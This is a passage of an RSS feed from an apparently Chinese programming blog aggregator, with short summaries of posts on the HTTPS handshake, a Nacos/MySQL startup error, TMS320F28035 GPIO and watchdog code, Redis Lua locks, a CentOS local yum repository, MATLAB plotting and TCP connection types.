发现这个问题是由于仔细阅读了https协议的过程及原理，然后进行了总结，一并发出来。&#xA;1、客户端发起请求，告诉服务端自己支持的hash算法（用来验证信息是否被篡改）和非对称加密算法（用来进行认证期间信息的加密）；&#xA;2、服务端找到匹配支持的算法，将证书发送给客户端（证书中包含着非对称加密算法的公钥）；&#xA;3、客户端拿到证书后，利用证书的公钥进行解密，验证证书的合法性，通过后拿到非对称加密的公钥；&#xA;4、客户端生成一串随机数密码，握手消息、握手消息取hash值，然后用随机数密码对（握手消息+握手消息hash值）进行加密得到加密握手消息，将随机数密码用公钥进行加密以及加密握手消息这两部分传输到服务端；&#xA;5、服务端利用私钥进行解密得到随机数密码，通过随机数密码解密客户端传输过来的加密握手消息，然后对握手消息取hash，判断hash是否一致（防止信息在传输过程中被篡改）；&#xA;6、服务端生成握手消息，使用随机密码串加密（握手消息+握手消息hash值）传输给客户端。&#xA;7、客户端得到后利用加密字符串进行解密，判断是否hash一至。一致则说明信息传输过程中没有被篡改，，且加密字符串只被客户端、服务端所知晓，此后的信息传输使用加密字符串进行对称加密即可。&#xA;写在最后 未修改之前，使用postman测试接口，如果禁用了ssl认证，则接口可以访问成功；如果开启ssl认证，则接口访问失败。所以我推测，浏览器进行url访问的时候，可以自动切换成禁用ssl的方式请求接口，因此最开始我本地进行测试的时候才没有问题。&#xA;但是关于浏览器可以访问的根本原因我不是很清楚，大家如果知道的话请交流指教下。&#xA;以后还是乖乖的用postman测试接口吧。</description>
    </item>
    <item>
      <title>nacos-2.0.3启动报错出现no datasource set的坑</title>
      <link>https://bchobby.github.io/posts/c8ba4c863c509588ccb8054df2f2df7a/</link>
      <pubDate>Thu, 13 Jan 2022 21:11:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8ba4c863c509588ccb8054df2f2df7a/</guid>
      <description>在日常启动nacos-2.0.3的时候，经常会启动不成功，检查start.out可以看到no datasource set的异常，导致了nacos启动失败。&#xA;1.start.out文件中可以看到：&#xA;ERROR Startup errors : No DataSource set at org.springframework.beans.factory.support.ConstructorResolver.createArgum。。。。&#xA;ERROR Nacos failed to start, please see /opt/nacos-2.0.3/logs/nacos.log for more details.&#xA;2.根据start.out的提示去查看nacos.log，可以看到如下异常信息&#xA;java.sql.SQLNonTransientConnectionException: Could not create connection to database server. Attempted reconnect 3 times. Giving up.&#xA;at com.mysql.cj.jdbc.exceptions.SQLError.createSQLException(SQLError.java:110)&#xA;3.在该节点（192.168.88.130）上使用mysql命令远程连接mysql服务器（192.168.88.129），发现还真连接不上，说是mysql服务器接入的连接太多了&#xA;root@server-2:~# mysql -h 192.168.88.129 -u root -p&#xA;Enter password:&#xA;ERROR 1129 (HY000): Host &#39;192.168.88.130&#39; is blocked because of many connection errors; unblock with &#39;mysqladmin flush-hosts&#39;&#xA;4.跑到mysql服务器（192.168.88.129）上去登录mysql，进行FLUSH HOSTS</description>
    </item>
    <item>
      <title>浅析TMS320F28035的GPIO模块</title>
      <link>https://bchobby.github.io/posts/dd108fd130b98f69d9ab925048ce1af3/</link>
      <pubDate>Thu, 13 Jan 2022 16:07:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd108fd130b98f69d9ab925048ce1af3/</guid>
      <description>目录 GPIO简介硬件电路软件代码总结 通用输入输出端口(General Purpose Input Output, GPIO)几乎是学习包括DSP，单片机在内的微处理器的第一步。GPIO的功能包括基本的输入，输出，也可以复用为其他外设功能。&#xA;GPIO简介 TMS320F28035具有45个GPIO引脚（不包括模拟输入输出引脚AIO），分为两大部分: Part A(0~31)，Part B(32~44)。其中，每个引脚除了具备通用数字输入/输出功能外，还最多复用三个外设引脚功能，可以通过多路复用选择寄存器(GPxMUXn)进行配置。&#xA;GPIO的默认功能是通用数字输入/输出功能，在进行配置时，主要步骤如下：&#xA;引脚的方向：输入/输出，0(输入) 1(输出)，通过GPBDIR进行配置。&#xA;引脚的电平：1(高电平)，0(低电平),这个可选。&#xA;引脚的复用：基本输入输出功能 or 外设复用功能。&#xA;比如我们要使用某个GPIO引脚，周期性输出高低电平，从而闪烁LED灯。那么，我们需要进行如下配置GPIO：&#xA;方向：输出电平：周期性翻转电平复用：不进行复用，默认基本输入输出功能 硬件电路 可见，GPIO34引脚与LED的阴极相连，当GPIO34输出低电平时，LED亮; GPIO34输出高电平时，LED灭。&#xA;软件代码 一些初始化工作，包括系统配置，中断，看门狗等 InitSysCtrl(); // 初始化系统配置,关闭看门狗，开启外设时钟 DINT; // 关闭CPU级总中断:INTM(0:开启，1:关闭) InitPieCtrl(); // 初始化外设中断扩展配置 IER = 0x0000; // 关闭CPU级中断使能位 IFR = 0x0000; // 关闭CPU级中断标志位 InitPieVectTable(); // 初始化PIE向量表 配置GPIO34引脚为输出引脚，默认基本输入输出功能 由前面可知，34引脚输入Group B，所以需要使用与Group B相关的寄存器，如GPBMUX1、GPBDIR&#xA;EALLOW; // 开锁 GpioCtrlRegs.GPBMUX1.bit.GPIO34 = 0; // GPIO34作为普通IO 0: GPIO GpioCtrlRegs.GPBDIR.bit.GPIO34 = 1; // GPIO34方向为输出 0: 输入 1: 输出 EDIS; // 上锁 主循环中实现电平的翻转，延时函数实现LED灯闪烁的效果 while(1) { // 延时1s DSP28x_usDelay(1000000); // 电平翻转 GpioDataRegs.</description>
    </item>
    <item>
      <title>浅析DSP28035的看门狗模块</title>
      <link>https://bchobby.github.io/posts/4c21efcff4c0ae099badd84acc94b0cc/</link>
      <pubDate>Thu, 13 Jan 2022 14:21:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c21efcff4c0ae099badd84acc94b0cc/</guid>
      <description>目录 背景工作原理结构与寄存器代码实验结果总结 背景 嵌入式系统通常会使用DSP来实现控制功能，比如开关电源的数字控制。试想如果DSP中程序出现Bug、崩溃、跑飞了怎么办？如果不及时处理，这对整个嵌入式系统的危害将是不可预料的。&#xA;这时，我们就需要DSP具有一种保护机制：检测程序是否正常运行，如果不正常，就要采取某种保护措施。&#xA;其实，不止DSP具有这种机制，大多数嵌入式系统的微处理器为了保证产品的可靠性，都具备这种功能。这种保护机制就是看门狗(Watch Dog)。&#xA;接下来就来聊聊TI 的TMS320F28035 芯片。&#xA;工作原理 鉴于程序跑飞时，CPU已经不再受控制了。那么，看门狗(Watch Dog)肯定是要独立于CPU模块的，而事实上也确实如此，并且看门狗的时钟信号也是通过晶振时钟进行预分频得到的。这就保证了看门狗可以完全不受CPU的影响。&#xA;当CPU死机、跑飞、或者运行到一个不明的程序陷阱时，看门狗能识别到这种状况，并产生中断或者复位信号。复位信号将CPU复位，使得CPU重新开始运行；中断信号使得CPU进入中断服务子程序，执行一系列操作。&#xA;那么，关键的问题来了：看门狗如何判断CPU是否跑飞了？&#xA;其实原理很简单，看门狗嘛，通俗点，从狗狗的角度来看，当主人每日按时给自己狗粮时，主人肯定没问题；但是，如果有一天主人突然没有给它喂饭了，那肯定出问题了啊。&#xA;看门狗机制就是如此，CPU要定期向看门狗发送特定信号，表示程序工作正常。具体来讲，看门狗内部有一个8位计数器WDCNTR，每个看门狗时钟周期都会进行加一增计数，当计数溢出时就产生中断或者复位信号；在计数溢出之前，若看门狗接收到CPU发送的特定信号后，就会把计数器清零，重新开始计数，也就不会产生复位或者中断。&#xA;CPU发送特定信号给看门狗的这种动作，也就是俗称的“喂狗”。只有定时有效地“喂狗”，才能保证看门狗不会错误地发送复位或中断指令。&#xA;结构与寄存器 看门狗模块的结构图如下：&#xA;上面提到了特定信号，定时有效地喂狗，那什么是特定信号？，何为定时？何为有效？&#xA;特定信号： 0x55+0xAA。&#xA;定时：在8位计数器溢出之前进行喂狗。&#xA;有效：当且仅当对WDKEY写入0x55 + 0xAA，才会清零计数器。&#xA;当计数器溢出时，根据工作模式，看门狗模块会产生复位信号或中断信号，该信号是一个有效电平为低电平，脉冲宽度为512个晶振时钟周期OSCCLK的脉冲信号，注意不是系统时钟信号SYSCLKOUT。&#xA;接下来，再看看与看门狗相关的寄存器。&#xA;SCSR: 系统控制状态寄存器。主要配置看门狗的模式，包括复位模式和中断模式&#xA;WDCNTR: 看门狗计数寄存器。8位计数器，(当外接10MHz晶振时，最大喂狗时间: 512 / 10 e 6 ∗ 255 ≈ 13 m s ) 512 / 10e^{6} * 255 \approx 13ms) 512/10e6∗255≈13ms)​​&#xA;WDKEY: 看门狗键值寄存器。写入0x55 + 0xAA 计数器复位。&#xA;WDCR: 看门狗控制寄存器,。WDDIS看门狗屏蔽位，WDPS看门狗时钟预分配位。写入0x0068，关闭看门狗；写入0x0028 开启看门狗，复位后自动使能看门狗（所以在初始化之前，通常先要关闭看门狗，等一切配置好以后，才开启看门狗）&#xA;注意：看门狗的时钟WDCLK是晶振(10MHz，具体视硬件而定)频率经过512分频得到，而不是主频SYSCLKOUT！&#xA;代码 #include &#34;DSP28x_Project.h&#34; // Device Header file and Examples Include File int flg_ServiceDog = 0; // 喂狗标志，这里选择不喂狗 long int loop_cnt = 0; // 主循环次数 long int wake_cnt = 0; // 看门狗中断次数 // 看门狗中断服务子函数 __interrupt void wakeint_isr(void) { wake_cnt++; // 允许ACK位，准备迎接下一个看门狗中断；看门狗属于 PIE group 1 PieCtrlRegs.</description>
    </item>
    <item>
      <title>微信公众号-分享报错invalid url domain的解决方法</title>
      <link>https://bchobby.github.io/posts/31152225e8612712d8a9dc4b2e7df5ac/</link>
      <pubDate>Thu, 13 Jan 2022 09:08:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31152225e8612712d8a9dc4b2e7df5ac/</guid>
      <description>微信公众号开发-自定义分享报错显示“invalid url domain”&#xA;前端微信公众号中的wx.config中开启调试模式，前端弹出信息“errMsg：config：invalid url domain”，出现这种错误的原因可能是：&#xA;1、前端域名没有授权&#xA;部署微信前端页面的服务器的域名要在在公众平台授权。&#xA;下载一个txt文件进行验证，修改JS接口安全域名后，再次调用公众号的分享，即可弹出config:ok的消息&#xA;目前还有一个疑惑：使用H5写的微信公众号，重写了分享功能，页面上定义了分享按钮，点击分享按钮，只会弹出config：ok消息，并未弹出到分享的页面；但使用公众号右上角的三个小点进行分享，已重写了分享的方法。&#xA;疑问：使用H5页面写的公众号是否能点击页面按钮直接跳转到分享的页面呢？？？</description>
    </item>
    <item>
      <title>python位运算（&amp;、|、^、~、＞＞、＜＜）</title>
      <link>https://bchobby.github.io/posts/0cd3e18acd926a58cb08ca2f3df1e99b/</link>
      <pubDate>Wed, 12 Jan 2022 21:29:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0cd3e18acd926a58cb08ca2f3df1e99b/</guid>
      <description>位运算概览 符号描述运算规则&amp;amp;与两个位都为1时，结果才为1|或两个位都为0时，结果才为0^异或两个位相同为0，相异为1~取反0变1，1变0&amp;lt;&amp;lt;左移各二进位全部左移若干位，高位丢弃，低位补0&amp;gt;&amp;gt;右移各二进位全部右移若干位，对无符号数，高位补0，有符号数，各编译器处理方法不一样，有的补符号位（算术右移），有的补0（逻辑右移） 1.按位与运算符（&amp;amp;）# 定义：参加运算的两个数据，按二进制位进行&#34;与&#34;运算。&#xA;运算规则：0&amp;amp;0=0 0&amp;amp;1=0 1&amp;amp;0=0 1&amp;amp;1=1&#xA;总结：两位同时为1，结果才为1，否则结果为0。&#xA;例如：3&amp;amp;5 即 0000 0011&amp;amp; 0000 0101 = 0000 0001，因此 3&amp;amp;5 的值得1。&#xA;注意：负数按补码形式参加按位与运算。&#xA;与运算的用途： 1）清零&#xA;如果想将一个单元清零，即使其全部二进制位为0，只要与一个各位都为零的数值相与，结果为零。&#xA;2）取一个数的指定位&#xA;比如取数 X=1010 1110 的低4位，只需要另找一个数Y，令Y的低4位为1，其余位为0，即Y=0000 1111，然后将X与Y进行按位与运算（X&amp;amp;Y=0000 1110）即可得到X的指定位。&#xA;3）判断奇偶&#xA;只要根据最未位是0还是1来决定，为0就是偶数，为1就是奇数。因此可以用if ((a &amp;amp; 1) == 0)代替if (a % 2 == 0)来判断a是不是偶数。&#xA;2 按位或运算符（|） 定义：参加运算的两个对象，按二进制位进行&#34;或&#34;运算。&#xA;运算规则：0|0=0 0|1=1 1|0=1 1|1=1&#xA;总结：参加运算的两个对象只要有一个为1，其值为1。&#xA;例如：3|5即 0000 0011| 0000 0101 = 0000 0111，因此，3|5的值得7。　注意：负数按补码形式参加按位或运算。&#xA;或运算的用途： 1）常用来对一个数据的某些位设置为1&#xA;比如将数 X=1010 1110 的低4位设置为1，只需要另找一个数Y，令Y的低4位为1，其余位为0，即Y=0000 1111，然后将X与Y进行按位或运算（X|Y=1010 1111）即可得到。&#xA;3.异或运算符（^） 定义：参加运算的两个数据，按二进制位进行&#34;</description>
    </item>
    <item>
      <title>关于基于redis实现分布式锁之lua脚本优化所出现的bug</title>
      <link>https://bchobby.github.io/posts/4d25ce8c943fa34995ce1c62dde5b22c/</link>
      <pubDate>Wed, 12 Jan 2022 20:42:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d25ce8c943fa34995ce1c62dde5b22c/</guid>
      <description>io.lettuce.core.RedisCommandExecutionException: ERR Error compiling script (new function): user_script:1: &#39;end&#39; expected near &#39;elsereturn&#39; //释放锁 String script = &#34;if redis.call(&#39;get&#39;,KEYS[1]) == ARGV[1] &#34; + &#34;then &#34; + &#34;return redis.call(&#39;del&#39;,KEYS[1]) &#34; + &#34;else&#34; + &#34;return 0 &#34; + &#34;end&#34;; this.redisTemplate.execute(new DefaultRedisScript&amp;lt;&amp;gt;(script), Arrays.asList(&#34;lock&#34;), uuid); 在这里需要加入返回结果集类型,虽然不需要但是必须指定.否则会报错&#xA;this.redisTemplate.execute(new DefaultRedisScript&amp;lt;&amp;gt;(script,Boolean.class), Arrays.asList(&#34;lock&#34;), uuid); 加入lua脚本后可以保证原子性和防误删</description>
    </item>
    <item>
      <title>Typora如何调整图片大小、将两张图片并列显示</title>
      <link>https://bchobby.github.io/posts/3f6f575447264db2681521fe1060fda0/</link>
      <pubDate>Wed, 12 Jan 2022 20:28:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f6f575447264db2681521fe1060fda0/</guid>
      <description> 调整图片大小：&#xA;&amp;lt;img src=&#34;图片地址&#34; width=&#34;100px&#34; height=&#34;100px&#34;/&amp;gt; 将两张图片并列显示&#xA;&amp;lt;center class=&#34;half&#34;&amp;gt; &amp;lt;img src=&#34;img1.jpg&#34; width=&#34;300&#34;/&amp;gt; &amp;lt;img src=&#34;img2.jpg&#34; width=&#34;300&#34;/&amp;gt; &amp;lt;/center&amp;gt; </description>
    </item>
    <item>
      <title>ETL、ELT、数据管道及其相关tool</title>
      <link>https://bchobby.github.io/posts/3af977016b913bbd72238c34595a00ad/</link>
      <pubDate>Wed, 12 Jan 2022 18:23:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3af977016b913bbd72238c34595a00ad/</guid>
      <description>一、定义 1. ETL E: Extraction&#xA;raw data sources:&#xA;T: transformation&#xA;D： data loading&#xA;popular ETL tools&#xA;talendAWS GlueApache Airflow： scale for big datapandas 2. ELT 就是顺序变化了一下，先load再transform&#xA;因为big data的出现，ELT热起来了。&#xA;特点：&#xA;和 ETL的区别：&#xA;3. pipeline 特性&#xA;设计准则&#xA;batch or Streaming Data&#xA;准确性 VS 及时性&#xA;batch data&#xA;通常周期性执行（通过设置时间，数据量来触发process）operate on batches of data不需要最新的数据accuracy是第一位&#xA;应用场景： streaming data&#xA;应用场景：&#xA;watching movies, listening to music or podcastssocial media feeds, sentiment analysisuser behavior, advertisingfrau detectionstock market tradingreal-time product pricingrecommender system 数据管道相关tools 以及 techmologies</description>
    </item>
    <item>
      <title>CentOS7配置本地yum源</title>
      <link>https://bchobby.github.io/posts/a2951c831c6b523bdd665036ae55ef64/</link>
      <pubDate>Wed, 12 Jan 2022 16:00:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2951c831c6b523bdd665036ae55ef64/</guid>
      <description>近日遇到了一个问题，客户分配的虚拟机上面安装了centos7.6的系统，但是却是用最小化方式安装的，常用的功能全都没有安装上，与维护部门协商无效，就只能自己动手丰衣足食了。&#xA;采用本地源方式来安装所需的功能或组件，整理过程如下：&#xA;操作系统：centos7.6，最小化安装。&#xA;iso镜像:CentOS-7-x86_64-DVD-1810.iso&#xA;（如果你下载不到iso可以联系我，wxlbrxhb@163.com）&#xA;1、将iso上传到服务器&#xA;2、在根目录下新建一个iso目录用于挂在本地iso镜像&#xA;3、使用命令将iso镜像挂在到iso目录&#xA;mount -o loop /home/CentOS-7-x86_64-DVD-1810(7.6).iso /iso/&#xA;4、备份原yum源配置文件&#xA;5、创建本地yum源配置目录&#xA;6、创建本地yum源配置文件&#xA;7、在CentOS-local.repo中填写如下内容&#xA;[CentOS7.6]&#xA;name=CentOS7.6-local&#xA;#步骤2中挂载镜像创建的目录&#xA;baseurl=file:///iso&#xA;#启动yum源： 1-启用 0-不启用&#xA;enabled=1&#xA;#安全检测： 1-开启 0-不开启&#xA;gpgcheck=0&#xA;#RPM-GPG-KEY-CentOS-7文件的实际路径&#xA;gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7&#xA;8、更新yum源配置&#xA;yum clean all&#xA;yum makecache&#xA;9、使用yum list或者yum repolist后如看到以下内容说明配置成功。</description>
    </item>
    <item>
      <title>课程实习stm32主从蓝牙计算器&#43;温度测量</title>
      <link>https://bchobby.github.io/posts/0685f98be0368162d118fe08e34e0a74/</link>
      <pubDate>Wed, 12 Jan 2022 15:01:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0685f98be0368162d118fe08e34e0a74/</guid>
      <description>说明：对于主从蓝牙计算器项目中的代码都是本人经过思考之后自行创作出来的，没有经过任何的网上抄录，由于课程实习的要求不高，所以我就没有对一些出现的bug进行修改（没有删除功能等）。但是基本的加减乘除都可以实现，包括在一次运算完成之后可以直接进行第二次运算，不需要复位。&#xA;我的风格就是先上代码：由于代码比较长，包含关系较为复杂（也算是个比较全面的小项目），所以我会在文章结尾以百度网盘链接的形式展示给大家。&#xA;硬件方面：板子用的stm32vet6 hc-05蓝牙模块 iic0.96寸oled 。开发板是学校实习发的，上面有许多的外设模块，我们要用的的有4个独立按键和矩阵键盘以及ds18b20温度传感器。由于开发板是学校的资源，老师也重点强调了不可以向外发布（我觉得非常没有这样必要，我觉得在学习的过程中要保持开源和互相沟通的心理，这样做.......） ，所以这里我就不提供原理图了。&#xA;软件方面：本次实习有四个任务，我把四个任务的代码全部整合到了一起，就是在刚开始的界面oled会提示你选择进入那个任务，并按照提示不同的按键选择不同的任务。&#xA;前两个任务太过简单，就没有讲的必要，就是基础的按键控制灯，只不过第二个任务用的是矩阵键盘。讲的话浪费大家时间也有失我的水准。&#xA;直接从第三个任务讲起。第三个任务是，用ds18b20测量温度，温度越高，亮的led灯就越多。是不是也是很简单，作为一个合格的嵌入式软件工程师应该很快就会想出解决的方法。唯一麻烦的就是对于ds18b20的温度读取上，这里我偷了个懒，直接从淘宝上找商家要的代码，然后改个数据引脚就行。但是对于嵌入式学习来说，最核心最重要的就是对于驱动的编写上，ds18b20是单总线协议的芯片，我曾经写过dht11的驱动代码，也是单总线协议，上手ds18b20的驱动相信也不会很难，但是由于实习时间比较紧张，就直接拿现成的用了，但是建议大家在时间充裕的条件下还是好好的研究芯片的时序图，写写驱动代码，还是很好玩的。&#xA;第四个任务。第四个任务我个人认为是相对较为难一些的，毕竟几乎用了我一个小下午的时间。&#xA;第四个任务是，在A板输入，然后在B板进行显示并且进行运算，采取蓝牙通信的方式。首先我们解决第一个问题蓝牙通信，实习老师发的是hc-05蓝牙模块，我之前用做过蓝牙遥控小车，所以基本上主从模式很快就可以配好，这里推荐给大家一篇博客。&#xA;(7条消息) 蓝牙HC-05上电自动互联（最详细教程）_CaT-CSDN博客_hc05自动连接https://blog.csdn.net/exm_further/article/details/91127481这里要说明一下，蓝牙配好之后，通信的方式我们还是用的串口通信。我们可以把蓝牙直接看成导线使用，一次发一个字节。&#xA;蓝牙配好之后，接下来就是计算器程序的编写。我们可以这样想，不管是加减乘除运算，计算的格式都是A_B=C的这种形式，‘_’可以是加减乘除。在A板（主机）我们循环扫描矩阵键盘，并设置每个按键对应数字和加减乘除等的对应关系。当按下一个按键时，通过串口发送对应的字符。B板（从机）在接收到字符之后进行判断是数字还是加减乘除等，如果是数字则判断是第一个还是第二个数字，如果是加减乘除则把对应的标志位设置成相对应的数字，如果是等则根据加减乘除的标志位和记录的第一个和第二个数来计算结果。以上的操作在判断完成之后都会实时的显示在oled上。具体的详细信息，我在代码里面都有注释，大家可以好好看看思考一下。&#xA;代码链接：https://pan.baidu.com/s/1ssYG3fslDiQvrLFnPoG7Lw 提取码：4s7k&#xA;Vincent-NJW</description>
    </item>
    <item>
      <title>uni.scss</title>
      <link>https://bchobby.github.io/posts/d8be53a66a4251995eca4fbfc7144281/</link>
      <pubDate>Wed, 12 Jan 2022 00:51:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8be53a66a4251995eca4fbfc7144281/</guid>
      <description>/**&#xA;* 下方引入的为uView UI的集成样式文件，为scss预处理器，其中包含了一些&#34;u-&#34;开头的自定义变量&#xA;* 使用的时候，请将下面的一行复制到您的uniapp项目根目录的uni.scss中即可&#xA;* uView自定义的css类名和scss变量，均以&#34;u-&#34;开头，不会造成冲突，请放心使用&#xA;*/&#xA;@import &#39;uview-ui/theme.scss&#39;;&#xA;$IMG_URL: &#39;http://file.shopro.top&#39;; //css中背景图片变量。js图片变量在env.js</description>
    </item>
    <item>
      <title>UVM实战 卷I学习笔记11——UVM中的factory机制（3）</title>
      <link>https://bchobby.github.io/posts/fe6b03080a727ae78faee45a55305752/</link>
      <pubDate>Tue, 11 Jan 2022 12:37:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe6b03080a727ae78faee45a55305752/</guid>
      <description>目录 factory机制的实现创建一个类的实例的方法*根据字符串来创建一个类用factory机制创建实例的接口factory机制的本质 factory机制的实现 创建一个类的实例的方法 前面UVM根据run_test的参数my_driver创建一个my_driver的实例，这是factory机制的一大功能。&#xA;一般的面向对象的编程语言要创建一个类的实例有两种方法，一种是在类的可见的作用范围之内直接创建：&#xA;class A … endclass class B; A a; function new(); a = new(); endfunction endclass 另外一种是使用参数化的类：&#xA;class parameterized_class # (type T) T t; function new(); t = new(); endfunction endclass class A; … endclass class B; parameterized_classs#(A) pa; function new(); pa = new(); endfunction endclass 这样pa实例化时，其内部就创建了一个属于A类型的实例t。但如何通过一个字符串来创建一个类？这里的前提是这个字符串代表一个类的名字。&#xA;class A; … endclass class B; string type_string; function new(); type_string = &#34;A&#34;; //how to create an instance of A according to type_string endfunction endclass 没有任何语言会内建一种如上的机制：即通过一个字符串来创建此字符串所代表的类的一个实例。如果要实现这种功能需要自己做，factory机制正是用于实现上述功能。</description>
    </item>
    <item>
      <title>matlab绘图学习（二维曲线）</title>
      <link>https://bchobby.github.io/posts/fb2e52b6be25c49c070daa88dd28642a/</link>
      <pubDate>Mon, 10 Jan 2022 21:42:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb2e52b6be25c49c070daa88dd28642a/</guid>
      <description>目录 函数 一、plot函数的基本用法:&#xA;二、 plot函数的调用格式&#xA;（1）最简单的调用plot(x）&#xA;（2）当plot函数的参数x是复数向量时，则分别以该向量元素的实部和虚部为横、纵坐标绘制出一条曲线&#xA;（3）plot(x,y)函数参数的变化形式&#xA;(4)含多个输入参数的plot函数&#xA;( 5）含选项的plot函数&#xA;三、fplot函数&#xA;1.fplot函数的调用&#xA;总结&#xA;前言 所有程序均已经经过调试，本篇文章为记录自己学习matlab的过程&#xA;plot函数 一、plot函数的基本用法: plot(x,y)&#xA;其中，x,y分别存储x坐标和y坐标数据&#xA;例子：绘制一条折线：&#xA;&amp;gt;&amp;gt; x=[2.5,3.5,4,5]; &amp;gt;&amp;gt; y=[1.5,2,1,1.5]; &amp;gt;&amp;gt; plot(x,y) 二、 plot函数的调用格式 （1）最简单的调用plot(x） &amp;gt;&amp;gt; x=[2.5,3.5,4,5]; &amp;gt;&amp;gt; plot(x) （2）当plot函数的参数x是复数向量时，则分别以该向量元素的实部和虚部为横、纵坐标绘制出一条曲线 复数（实为横，虚为纵）&#xA;&amp;gt;&amp;gt; x=[2.5,3.5,4,5]; &amp;gt;&amp;gt; y=[1.5,2,1,1.5]; &amp;gt;&amp;gt; cx=x+y*i; &amp;gt;&amp;gt; plot(cx) 程序也可将cx=x+y*i;换成cx=complex(x,y);有一样的效果&#xA;（3）plot(x,y)函数参数的变化形式 当x是向量，y是矩阵时：矩阵的列数等于x的长度，则以向量x为横坐标，以y的行向量为纵坐标绘制曲线，曲线条数等于y的行数。&#xA;矩阵的行数等于x的长度，则以向量x为横坐标，以y的列向量为纵坐标绘制曲线，曲线条数等于y的列数。&#xA;【绘制sinx，sin(2x),sin(x/2)的函数曲线】&#xA;&amp;gt;&amp;gt; x=linspace(0,2*pi,100); &amp;gt;&amp;gt; y=[sin(x);sin(2*x);sin(0.5*x)]; &amp;gt;&amp;gt; plot(x,y) x,y为同型矩阵，以x、y对应列元素为横、纵坐标分别绘制曲线，曲线条数等于矩阵的列数。&#xA;&amp;gt;&amp;gt; t=0:0.01:2*pi; &amp;gt;&amp;gt; t1=t&#39;; &amp;gt;&amp;gt; x=[t1,t1,t1]; &amp;gt;&amp;gt; y=[sin(t1),sin(2*t1),sin(0.5*t1)]; &amp;gt;&amp;gt; plot(x,y) (4)含多个输入参数的plot函数 plot(x1,x2,x3```,xn,yn)&#xA;每一向量对构成一组数据点的横、纵坐标，绘制一条曲线</description>
    </item>
    <item>
      <title>python制作小游戏，逢七拍腿升级版</title>
      <link>https://bchobby.github.io/posts/9a70152be27a0a237418262f0d0c180c/</link>
      <pubDate>Mon, 10 Jan 2022 21:31:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a70152be27a0a237418262f0d0c180c/</guid>
      <description>逢七拍腿首先需要某数到另外某数找到所有7的倍数，我们设b为开始的数，设d为结束的数，设a为不能说的数——也就是7.&#xA;a = 7 b = 1 d = 100 然后执行一个for循环寻找b~d所有7的倍数&#xA;for c in range(int(b),int(d)+1): if c % a ==0: print(&#34;拍！&#34;) 通过c%a取余，余数=0就拍腿（也就是整除）&#xA;在遇到包含7但是并不是7的倍数的数，这种办法就不管用了。可以把c转换成字符串，看看这个字符串里包不包含7&#xA;e = str(int(7)) in str(c) str1 in str2，就是查找字符串2中包不包含字符串1，是则返回True，否则返回False。&#xA;在包含7时也要拍腿，修改代码为：&#xA;a = 7 b = 1 d = 99 for c in range(int(b),int(d)+1): e = str(int(a)) in str(c) if c % a ==0: print(&#34;拍！&#34;) else: if e == True: print(&#34;拍！&#34;) else: print(c) 为了自定义这些参数，可以再修改成以下代码，变成最有趣的版本。&#xA;print(&#34;欢迎来到逢七拍腿游戏的加强版——\r逢n拍腿！\n&#34;) a = float(input(&#34;请输入不能说出的数(也不能说这个数的倍数)：&#34;)) b = float(input(&#34;</description>
    </item>
    <item>
      <title>TCP长连接和短连接-深入浅出（还在总说http长连接吗）</title>
      <link>https://bchobby.github.io/posts/cb5b7be17608f01be8d9ad02e7e79d73/</link>
      <pubDate>Mon, 10 Jan 2022 21:26:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb5b7be17608f01be8d9ad02e7e79d73/</guid>
      <description>查阅了一些资料，站在前人的肩膀上看世界会很美好。&#xA;什么是长连接和短连接 1.官方解释 长连接（long connnection），指在一个连接上可以连续发送多个数据包，在连接保持期间，如果没有数据包发送，需要双方发链路检测包。&#xA;短连接（short connnection），是相对于长连接而言的概念，指的是在数据传送过程中，只在需要发送数据时才去建立一个连接，数据发送完成后则断开此连接，即每次连接只完成一项业务的发送。&#xA;2.通俗一点 长连接：连接-&amp;gt;传输数据-&amp;gt;保持连接 -&amp;gt; 传输数据-&amp;gt; …-&amp;gt;直到一方关闭连接，客户端关闭连接。长连接指建立SOCKET连接后无论使用与否都要保持连接。&#xA;短连接：连接-&amp;gt;传输数据-&amp;gt;关闭连接。下次一次需要传输数据需要再次连接。&#xA;下图对比帮助理解（当然，连接和响应的具体流程需要看对应的通信协议）：&#xA;3.应用场景 长连接&#xA;长连接多用于操作频繁，点对点的通讯，而且连接数不能太多情况。每个TCP连接都需要三步握手，这需要时间，如果每个操作都是先连接，再操作的话那么处理速度会降低很多，所以每个操作完后都不断开，次处理时直接发送数据包就OK了，不用新建立TCP连接。&#xA;例如：数据库的连接用长连接， 如果用短连接频繁的通信会造成socket错误，而且频繁的socket 创建也是对资源的浪费。&#xA;短连接&#xA;而像WEB网站的http服务一般都用短链接，因为长连接对于服务端来说会耗费一定的资源，而像WEB网站这么频繁的成千上万甚至上亿客户端的连接用短连接会更省一些资源，如果用长连接，而且同时有成千上万的用户，如果每个用户都占用一个连接的话，那可想而知吧。&#xA;所以并发量大，但每个用户无需频繁操作情况下需用短连好。&#xA;4.TCP长短连接的优势 TCP短连接 模拟一下TCP短连接的情况，client向server发起连接请求，server接到请求，然后双方建立连接。client向server发送消息，server回应client，然后一次读写就完成了，这时候双方任何一个都可以发起close操作，不过一般都是client先发起close操作。&#xA;从上面的描述看，短连接一般只会在client/server间传递一次读写操作。&#xA;短连接优点：管理起来方便，存在的连接都是有效的连接，不需要额外的控制手段。&#xA;TCP长连接 